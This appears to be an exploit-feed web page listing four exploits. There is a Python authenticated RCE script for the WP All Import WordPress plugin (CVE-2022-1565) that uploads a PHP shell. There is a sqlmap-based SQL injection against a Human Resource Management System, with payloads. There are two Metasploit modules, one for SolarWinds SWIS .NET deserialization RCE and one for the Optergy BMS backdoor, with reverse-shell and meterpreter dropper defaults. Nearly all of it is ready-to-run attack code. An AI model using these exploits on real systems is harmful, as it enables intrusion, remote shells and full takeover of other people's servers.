Latest exploits :: CodePwn

<pre><code># Exploit Title: WP All Import v3.6.7 - Remote Code Execution (RCE) (Authenticated) # Date: 11/05/2022 # Exploit Author: AkuCyberSec (https://github.com/AkuCyberSec) # Vendor Homepage: https://www.wpallimport.com/ # Software Link: https://wordpress.org/plugins/wp-all-import/advanced/ (scroll down to select the version) # Version: <= 3.6.7 (tested: 3.6.7) # Tested on: WordPress 6.1 (os-independent since this exploit does NOT provide the payload) # CVE: CVE-2022-1565 #!/usr/bin/python import requests import re import os # WARNING: This exploit does NOT include the payload. # Also, be sure you already have some valid admin credentials. This exploit needs an administrator account in order to work. # If a file with the same name as the payload is already on the server, the upload will OVERWRITE it # # Please notice that I'm NOT the researcher who found this vulnerability # # # # # VULNERABILITY DESCRIPTION # # # # # # The plugin WP All Import is vulnerable to arbitrary file uploads due to missing file type validation via the wp_all_import_get_gz.php file in versions up to, and including, 3.6.7. # This makes it possible for authenticated attackers, with administrator level permissions and above, to upload arbitrary files on the affected sites server which may make remote code execution possible. # # # # # HOW THE EXPLOIT WORKS # # # # # # 1. Prepare the zip file: # - create a PHP file with your payload (e.g. rerverse shell) # - set the variable "payload_file_name" with the name of this file (e.g. "shell.php") # - create a zip file with the payload # - set the variable "zip_file_to_upload" with the PATH of this file (e.g. "/root/shell.zip") # # 2. Login using an administrator account: # - set the variable "target_url" with the base URL of the target (do NOT end the string with the slash /) # - set the variable "admin_user" with the username of an administrator account # - set the variable "admin_pass" with the password of an administrator account # # 3. Get the wpnonce using the get_wpnonce_upload_file() method # - there are actually 2 types of wpnonce: # - the first wpnonce will be retrieved using the method retrieve_wpnonce_edit_settings() inside the PluginSetting class. # This wpnonce allows us to change the plugin settings (check the step 4) # - the second wpnonce will be retrieved using the method retrieve_wpnonce_upload_file() inside the PluginSetting class. # This wpnonce allows us to upload the file # # 4. Check if the plugin secure mode is enabled using the method check_if_secure_mode_is_enabled() inside the PluginSetting class # - if the Secure Mode is enabled, the zip content will be put in a folder with a random name. # The exploit will disable the Secure Mode. # By disabling the Secure Mode, the zip content will be put in the main folder (check the variable payload_url). # The method called to enable and disable the Secure Mode is set_plugin_secure_mode(set_to_enabled:bool, wpnonce:str) # - if the Secure Mode is NOT enabled, the exploit will upload the file but then it will NOT enable the Secure Mode. # # 5. Upload the file using the upload_file(wpnonce_upload_file: str) method # - after the upload, the server should reply with HTTP 200 OK but it doesn't mean the upload was completed successfully. # The response will contain a JSON that looks like this: # {"jsonrpc":"2.0","error":{"code":102,"message":"Please verify that the file you uploading is a valid ZIP file."},"is_valid":false,"id":"id"} # As you can see, it says that there's an error with code 102 but, according to the tests I've done, the upload is completed # # 6. Re-enable the Secure Mode if it was enabled using the switch_back_to_secure_mode() method # # 7. Activate the payload using the activate_payload() method # - you can define a method to activate the payload. # There reason behind this choice is that this exploit does NOT provide any payload. # Since you can use a custom payload, you may want to activate it using an HTTP POST request instead of a HTTP GET request, or you may want to pass parameters # # # # # WHY DOES THE EXPLOIT DISABLE THE SECURE MODE? # # # # # # According to the PoC of this vulnerability provided by WPSCAN, we should be able to retrieve the uploaded files by visiting the "MAnaged Imports page" # I don't know why but, after the upload of any file, I couldn't see the uploaded file in that page (maybe the Pro version is required?) # I had to find a workaround and so I did, by exploiting this option. # WPSCAN Page: https://wpscan.com/vulnerability/578093db-a025-4148-8c4b-ec2df31743f7 # # # # # ANY PROBLEM WITH THE EXPLOIT? # # # # # # In order for the exploit to work please consider the following: # 1. check the target_url and the admin credentials # 2. check the path of the zip file and the name of the payload (they can be different) # 3. if you're testing locally, try to set verify_ssl_certificate on False # 4. you can use print_response(http_response) to investigate further # Configure the following variables: target_url = "https://vulnerable.wp/wordpress" # Target base URL admin_user = "admin" # Administrator username admin_pass = "password" # Administrator password zip_file_to_upload = "/shell.zip" # Path to the ZIP file (e.g /root/shell.zip) payload_file_name = "shell.php" # Filename inside the zip file (e.g. shell.php). This file will be your payload (e.g. reverse shell) verify_ssl_certificate = True # If True, the script will exit if the SSL Certificate is NOT valid. You can set it on False while testing locally, if needed. # Do NOT change the following variables wp_login_url = target_url + "/wp-login.php" # WordPress login page wp_all_import_page_settings = target_url + "/wp-admin/admin.php?page=pmxi-admin-settings" # Plugin page settings payload_url = target_url + "/wp-content/uploads/wpallimport/uploads/" + payload_file_name # Payload will be uploaded here re_enable_secure_mode = False session = requests.Session() # This class helps to retrieve plugin settings, including the nonce(s) used to change settings and upload files. class PluginSetting: # Regular Expression patterns pattern_setting_secure_mode = r'<input[a-zA-Z0-9="_\- ]*id="secure"[a-zA-Z0-9="_\-/ ]*>' pattern_wpnonce_edit_settings = r'<input[a-zA-Z0-9="_\- ]*id="_wpnonce_edit\-settings"[a-zA-Z0-9="_\- ]*value="([a-zA-Z0-9]+)"[a-zA-Z0-9="_\-/ ]*>' pattern_wpnonce_upload_file = r'wp_all_import_security[ ]+=[ ]+["\']{1}([a-zA-Z0-9]+)["\']{1};' http_response: requests.Response is_secure_mode_enabled: bool wpnonce_edit_settings: str wpnonce_upload_file: str def __init__(self, http_response: requests.Response): self.http_response = http_response self.check_if_secure_mode_is_enabled() self.retrieve_wpnonce_edit_settings() self.retrieve_wpnonce_upload_file() def check_if_secure_mode_is_enabled(self): # To tell if the Secure Mode is enabled you can check if the checkbox with id "secure" is checked # <input type="checkbox" value="1" id="secure" name="secure" checked="checked"> regex_search = re.search(self.pattern_setting_secure_mode, self.http_response.text) if not regex_search: print("Something went wrong: could not retrieve plugin settings. Are you an administrator?") # print_response(self.http_response) # for debugging exit() self.is_secure_mode_enabled = "checked" in regex_search.group() def retrieve_wpnonce_edit_settings(self): # You can find this wpnonce in the source file by searching for the following input hidden: # <input type="hidden" id="_wpnonce_edit-settings" name="_wpnonce_edit-settings" value="052e2438f9"> # 052e2438f9 would be the wpnonce for editing the settings regex_search = re.search(self.pattern_wpnonce_edit_settings, self.http_response.text) if not regex_search: print("Something went wrong: could not retrieve _wpnonce_edit-settings parameter. Are you an administrator?") # print_response(self.http_response) # for debugging exit() self.wpnonce_edit_settings = regex_search.group(1) def retrieve_wpnonce_upload_file(self): # You can find this wpnonce in the source file by searching for the following javascript variable: var wp_all_import_security = 'dee75fdb8b'; # dee75fdb8b would be the wpnonce for the upload regex_search = re.search(self.pattern_wpnonce_upload_file, self.http_response.text) if not regex_search: print("Something went wrong: could not retrieve the upload wpnonce from wp_all_import_security variable") # print_response(self.http_response) # for debugging exit() self.wpnonce_upload_file = regex_search.group(1) def wp_login(): global session data = { "log" : admin_user, "pwd" : admin_pass, "wp-submit" : "Log in", "redirect_to" : wp_all_import_page_settings, "testcookie" : 1 } login_cookie = { "wordpress_test_cookie" : "WP Cookie check" } # allow_redirects is set to False because, when credentials are correct, wordpress replies with 302 found. # Looking for this HTTP Response Code makes it easier to tell whether the credentials were correct or not print("Trying to login...") response = session.post(url=wp_login_url, data=data, cookies=login_cookie, allow_redirects=False, verify=verify_ssl_certificate) if response.status_code == 302: print("Logged in successfully!") return # print_response(response) # for debugging print("Login failed. If the credentials are correct, try to print the response to investigate further.") exit() def set_plugin_secure_mode(set_to_enabled:bool, wpnonce:str) -> requests.Response: global session if set_to_enabled: print("Enabling secure mode...") else: print("Disabling secure mode...") print("Edit settings wpnonce value: " + wpnonce) data = { "secure" : (1 if set_to_enabled else 0), "_wpnonce_edit-settings" : wpnonce, "_wp_http_referer" : wp_all_import_page_settings, "is_settings_submitted" : 1 } response = session.post(url=wp_all_import_page_settings, data=data, verify=verify_ssl_certificate) if response.status_code == 403: print("Something went wrong: HTTP Status code is 403 (Forbidden). Wrong wpnonce?") # print_response(response) # for debugging exit() return response def switch_back_to_secure_mode(): global session print("Re-enabling secure mode...") response = session.get(url=wp_all_import_page_settings) plugin_setting = PluginSetting(response) if plugin_setting.is_secure_mode_enabled: print("Secure mode is already enabled") return response = set_plugin_secure_mode(set_to_enabled=True,wpnonce=plugin_setting.wpnonce_edit_settings) new_plugin_setting = PluginSetting(response) if not new_plugin_setting.is_secure_mode_enabled: print("Something went wrong: secure mode has not been re-enabled") # print_response(response) # for debugging exit() print("Secure mode has been re-enabled!") def get_wpnonce_upload_file() -> str: global session, re_enable_secure_mode # If Secure Mode is enabled, the exploit tries to disable it, then returns the wpnonce for the upload # If Secure Mode is already disabled, it just returns the wpnonce for the upload print("Checking if secure mode is enabled...") response = session.get(url=wp_all_import_page_settings) plugin_setting = PluginSetting(response) if not plugin_setting.is_secure_mode_enabled: re_enable_secure_mode = False print("Insecure mode is already enabled!") return plugin_setting.wpnonce_upload_file print("Secure mode is enabled. The script will disable secure mode for the upload, then it will be re-enabled.") response = set_plugin_secure_mode(set_to_enabled=False, wpnonce=plugin_setting.wpnonce_edit_settings) new_plugin_setting = PluginSetting(response) if new_plugin_setting.is_secure_mode_enabled: print("Something went wrong: secure mode has not been disabled") # print_response(response) # for debugging exit() print("Secure mode has been disabled!") re_enable_secure_mode = True return new_plugin_setting.wpnonce_upload_file def upload_file(wpnonce_upload_file: str): global session print("Uploading file...") print("Upload wpnonce value: " + wpnonce_upload_file) zip_file_name = os.path.basename(zip_file_to_upload) upload_url = wp_all_import_page_settings + "&action=upload&_wpnonce=" + wpnonce_upload_file files = { "async-upload" : (zip_file_name, open(zip_file_to_upload, 'rb'))} data = { "name" : zip_file_name } response = session.post(url=upload_url, files=files, data=data) if response.status_code == 200: print("Server replied with HTTP 200 OK. The upload should be completed.") print("Payload should be here: " + payload_url) print("If you can't find the payload at this URL, try to print the response to investigate further") # print_response(response) # for debugging return 1 else: print("Something went wrong during the upload. Try to print the response to investigate further") # print_response(response) # for debugging return 0 def activate_payload(): global session print("Activating payload...") response = session.get(url=payload_url) if response.status_code != 200: print("Something went wrong: could not find payload at " + payload_url) # print_response(response) # for debugging return def print_response(response:requests.Response): print(response.status_code) print(response.text) # Entry Point def Main(): print("Target: " + target_url) print("Credentials: " + admin_user + ":" + admin_pass) # Do the login wp_login() # Retrieve wpnonce for upload. # It disables Secure Mode if needed, then returns the wpnonce wpnonce_upload_file = get_wpnonce_upload_file() # Upload the file file_uploaded = upload_file(wpnonce_upload_file) # Re-enable Secure Mode if needed if re_enable_secure_mode: switch_back_to_secure_mode() # Activate the payload if file_uploaded: activate_payload() Main() </code></pre>

<pre><code># Exploit Title: Human Resource Management System - SQL Injection (unauthenticated) # Date: 08-11-2022 # Exploit Author: Matthijs van der Vaart (eMVee) # Vendor Homepage: https://www.sourcecodester.com/php/15740/human-resource-management-system-project-php-and-mysql-free-source-code.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/hrm.zip # Version: 1.0 (Monday, October 10, 2022 - 13:37) # Tested On: Windows 10 Pro 10.0.19044 N/A Build 1288 + XAMPP V3.3.0 1) Capture the login POST request with Burp Suite or OWASP ZAP 2) Save the request as "login.req" 3) Run sqlmap as follows: "sqlmap -r login.req" Example login.req ========== POST /controller/login.php HTTP/1.1 Host: target Cookie: csrf_token_f58f5b43e3803b8c3c224afd706cf0f9927d9fd3c222740171d746d078b1ac9b=h1qG45IggxzwQ/i1lH2zBF7ktvDJT716RNl59LQTkwk=; PHPSESSID=kg0h3kpsbf2r3mnmbmmap2afda User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 66 Origin: https://target Referer: https://target/index.php<https://10.0.2.15/dashboard/hrm/index.php> Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Te: trailers Connection: close name=admin%40gmail.com&password=password+&submit=Sign+In ========= Output example SQL Injection unauthenticated login page ========== POST parameter 'password' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n sqlmap identified the following injection point(s) with a total of 1143 HTTP(s) requests: --- Parameter: password (POST) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: name=admin@gmail.com&password=password ' RLIKE (SELECT (CASE WHEN (7213=7213) THEN 0x70617373776f726420 ELSE 0x28 END))-- ylOf&submit=Sign In Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: name=admin@gmail.com&password=password ' OR (SELECT 8513 FROM(SELECT COUNT(*),CONCAT(0x7176787871,(SELECT (ELT(8513=8513,1))),0x716a7a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- RBnO&submit=Sign In Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: name=admin@gmail.com&password=password ' AND (SELECT 4404 FROM (SELECT(SLEEP(5)))eQTb)-- NTCP&submit=Sign In Parameter: name (POST) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: name=admin@gmail.com' RLIKE (SELECT (CASE WHEN (2620=2620) THEN 0x61646d696e40676d61696c2e636f6d ELSE 0x28 END))-- KlrV&password=password &submit=Sign In Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: name=admin@gmail.com' AND (SELECT 7287 FROM(SELECT COUNT(*),CONCAT(0x7176787871,(SELECT (ELT(7287=7287,1))),0x716a7a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- fSRz&password=password &submit=Sign In Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: name=admin@gmail.com' AND (SELECT 8912 FROM (SELECT(SLEEP(5)))NCtJ)-- ennA&password=password &submit=Sign In --- there were multiple injection points, please select the one to use for following injections: [0] place: POST, parameter: name, type: Single quoted string (default) [1] place: POST, parameter: password, type: Single quoted string ========== </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/amqp/version_0_9_1' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking def initialize super( 'Name' => 'SolarWinds Information Service (SWIS) .NET Deserialization From AMQP RCE', 'Description' => %q{ The SolarWinds Information Service (SWIS) is vulnerable to RCE by way of a crafted message received through the AMQP message queue. A malicious user that can authenticate to the AMQP service can publish such a crafted message whose body is a serialized .NET object which can lead to OS command execution as NT AUTHORITY\SYSTEM. }, 'Author' => [ 'Justin Hong', # vulnerability research, Trend Micro 'Lucas Miller', # vulnerability research, Trend Micro 'Piotr Bazydło', # vulnerability discovery, reported to ZDI 'Spencer McIntyre' # metasploit module ], 'Arch' => ARCH_CMD, 'Platform' => 'win', 'References' => [ [ 'CVE', '2022-38108' ], [ 'URL', 'https://www.zerodayinitiative.com/blog/2023/2/27/cve-2022-38108-rce-in-solarwinds-network-performance-monitor' ], [ 'URL', 'https://www.solarwinds.com/trust-center/security-advisories/cve-2022-38108' ] ], 'DefaultOptions' => { 'WfsDelay' => 10 }, 'Targets' => [ [ 'Automatic', {} ] ], 'DefaultTarget' => 0, 'Privileged' => true, 'DisclosureDate' => '2022-10-19', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) register_options([ Opt::RHOST, Opt::RPORT(5671), OptString.new('USERNAME', [true, 'The username to authenticate with', 'orion']), OptString.new('PASSWORD', [true, 'The password to authenticate with', '']) ]) register_advanced_options( [ OptBool.new('SSL', [ true, 'Negotiate SSL/TLS for outgoing connections', true ]), Opt::SSLVersion ] ) end def peer rhost = datastore['RHOST'] rport = datastore['RPORT'] if Rex::Socket.is_ipv6?(rhost) "[#{rhost}]:#{rport}" else "#{rhost}:#{rport}" end end def print_status(msg) msg = "#{peer} - #{msg}" super end def exploit amqp_client = Rex::Proto::Amqp::Version091::Client.new( datastore['RHOST'], port: datastore['RPORT'], context: { 'Msf' => framework, 'MsfExploit' => self }, ssl: datastore['SSL'], ssl_version: datastore['SSLVersion'] ) unless amqp_client.login(datastore['USERNAME'], datastore['PASSWORD']) fail_with(Failure::NoAccess, "Authentication failed for user #{datastore['USERNAME']}.") end print_status('Successfully connected to the remote server.') channel = amqp_client.channel_open vprint_status('Successfully opened a new channel.') channel.basic_publish( routing_key: 'SwisPubSub', message: ::Msf::Util::DotNetDeserialization.generate( payload.encoded, gadget_chain: :ObjectDataProvider, formatter: :JsonNetFormatter ), properties: { message_type: 'System.Windows.Data.ObjectDataProvider' } ) print_status('Successfully published the message to the channel.') channel.close amqp_client.connection_close rescue Rex::Proto::Amqp::Error::UnexpectedReplyError => e fail_with(Failure::UnexpectedReply, e.message) rescue Rex::Proto::Amqp::Error::AmqpError => e fail_with(Failure::Unknown, e.message) ensure amqp_client.close end end </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Optergy Proton and Enterprise BMS Command Injection using a backdoor', 'Description' => %q{ This module exploits an undocumented backdoor vulnerability in the Optergy Proton and Enterprise Building Management System (BMS) applications. Versions `2.0.3a` and below are vulnerable. Attackers can exploit this issue by directly navigating to an undocumented backdoor script called Console.jsp in the tools directory and gain full system access. Successful exploitation results in `root` command execution using `sudo` as user `optergy`. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF Module contributor 'Gjoko Krstic <gjoko[at]applied-risk.com>' # Discovery ], 'References' => [ [ 'CVE', '2019-7276'], [ 'URL', 'https://applied-risk.com/resources/ar-2019-008' ], [ 'URL', 'https://optergy.com/products/proton/' ], [ 'URL', 'https://optergy.com/products/optergy-enterprise/' ], [ 'URL', 'https://attackerkb.com/topics/QrYFIjnd3J/cve-2019-7276' ], [ 'EDB', '47641'], [ 'PACKETSTORM', '155258'] ], 'DisclosureDate' => '2019-11-05', 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86], 'Privileged' => true, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'Payload' => { 'BadChars' => "\x20" }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X64, ARCH_X86], 'Type' => :linux_dropper, 'CmdStagerFlavor' => [ 'wget', 'printf', 'echo' ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 80, 'SSL' => false }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ OptBool.new('SUDO', [ true, 'Set the sudo option to get root privileges', false ]) ] ) end def execute_command(cmd, _opts = {}) # Step 1: get the challenge and compute the response answer for the backdoor execution res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/tools/ajax/ConsoleResult.html?get') }) if res.nil? || (res.code != 200) return nil else # Get and create a challenge response res_json = res.get_json_document return nil if res_json.nil? || res_json.blank? # Get the challenge challenge = res_json['response']['message'] # Make SHA1 hash from received challenge h1 = Digest::SHA1.hexdigest challenge # Make MD5 hash from SHA1 hash h2 = Digest::MD5.hexdigest h1 # Combine MD5 hash and SHA1 hash as answer (response) to the challenge answer = h1 + h2 end # Step 2: execute payload (RCE) using the backdoor and challenge response obtained from step 1. if target['Type'] == :linux_dropper cmd = cmd.gsub(' ') { '${IFS}' } end if datastore['SUDO'] payload = "sudo bash -c #{cmd}" else payload = "bash -c #{cmd}" end res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/tools/ajax/ConsoleResult.html'), 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'command' => payload, 'challenge' => challenge, 'answer' => answer } }) if res.nil? || (res.code != 200) return nil else # get result and return the command response res_json = res.get_json_document return nil if res_json.nil? || res_json.blank? res_cmd_output = res_json['response']['message'] return res_cmd_output end end # Checking if the target is vulnerable by executing the whoami command via the backdoor def check res = execute_command('whoami') return Exploit::CheckCode::Safe unless res && (res.chomp == 'root' || res.chomp == 'optergy') Exploit::CheckCode::Vulnerable end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd res = execute_command(payload.encoded) fail_with(Failure::PayloadFailed, "#{datastore['PAYLOAD']} failed.") if res.nil? when :linux_dropper # Don't check the response here since the server won't respond # if the payload is successfully executed. execute_cmdstager end end end </code></pre>